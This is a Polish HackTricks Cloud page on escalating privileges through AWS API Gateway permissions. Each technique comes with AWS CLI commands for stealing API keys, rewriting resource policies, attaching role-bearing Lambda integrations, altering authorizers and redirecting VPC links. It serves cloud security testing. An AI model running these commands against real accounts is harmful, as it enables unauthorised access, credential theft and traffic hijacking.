AWS - Apigateway Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!

• Zdobądź oficjalne gadżety PEASS & HackTricks

• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.

Apigateway

Aby uzyskać więcej informacji, sprawdź:

pageAWS - API Gateway Enum

apigateway:POST

Z tym uprawnieniem możesz generować klucze API dla skonfigurowanych interfejsów API (na region).

aws --region <region> apigateway create-api-key

Potencjalne skutki: Nie można podnieść uprawnień za pomocą tej techniki, ale można uzyskać dostęp do wrażliwych informacji.

apigateway:GET

Z tym uprawnieniem można uzyskać wygenerowane klucze API skonfigurowanych interfejsów API (na region).

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potencjalne skutki: Nie można podnieść uprawnień za pomocą tej techniki, ale można uzyskać dostęp do wrażliwych informacji.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Z tymi uprawnieniami można zmodyfikować politykę zasobu API, aby uzyskać dostęp do jego wywołania i wykorzystać potencjalny dostęp, który może mieć brama API (np. wywołanie podatnej lambdy).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potencjalne skutki: Zwykle nie będziesz w stanie uzyskać podwyższenia uprawnień bezpośrednio za pomocą tej techniki, ale możesz uzyskać dostęp do wrażliwych informacji.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Wymaga testowania

Atakujący posiadający uprawnienia apigateway:PutIntegration, apigateway:CreateDeployment i iam:PassRole może dodać nową integrację do istniejącego interfejsu API Gateway REST API z funkcją Lambda, która ma przypisaną rolę IAM. Atakujący może następnie uruchomić funkcję Lambda w celu wykonania dowolnego kodu i potencjalnie uzyskać dostęp do zasobów powiązanych z rolą IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencjalne skutki: Dostęp do zasobów powiązanych z rolą IAM funkcji Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Wymaga testowania

Atakujący posiadający uprawnienia apigateway:UpdateAuthorizer i apigateway:CreateDeployment może modyfikować istniejącego autoryzatora bramy API w celu ominięcia kontroli bezpieczeństwa lub wykonania dowolnego kodu podczas wykonywania żądań API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencjalne skutki: Ominięcie kontroli bezpieczeństwa, nieautoryzowany dostęp do zasobów interfejsu API.

apigateway:UpdateVpcLink

Wymaga testowania

Atakujący posiadający uprawnienia apigateway:UpdateVpcLink może modyfikować istniejące połączenie VPC, aby wskazywało na inny Network Load Balancer, potencjalnie przekierowując prywatny ruch API do nieautoryzowanych lub złośliwych zasobów.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potencjalne skutki: Nieautoryzowany dostęp do prywatnych zasobów API, przechwycenie lub zakłócenie ruchu API.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!

• Zdobądź oficjalne gadżety PEASS & HackTricks

• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.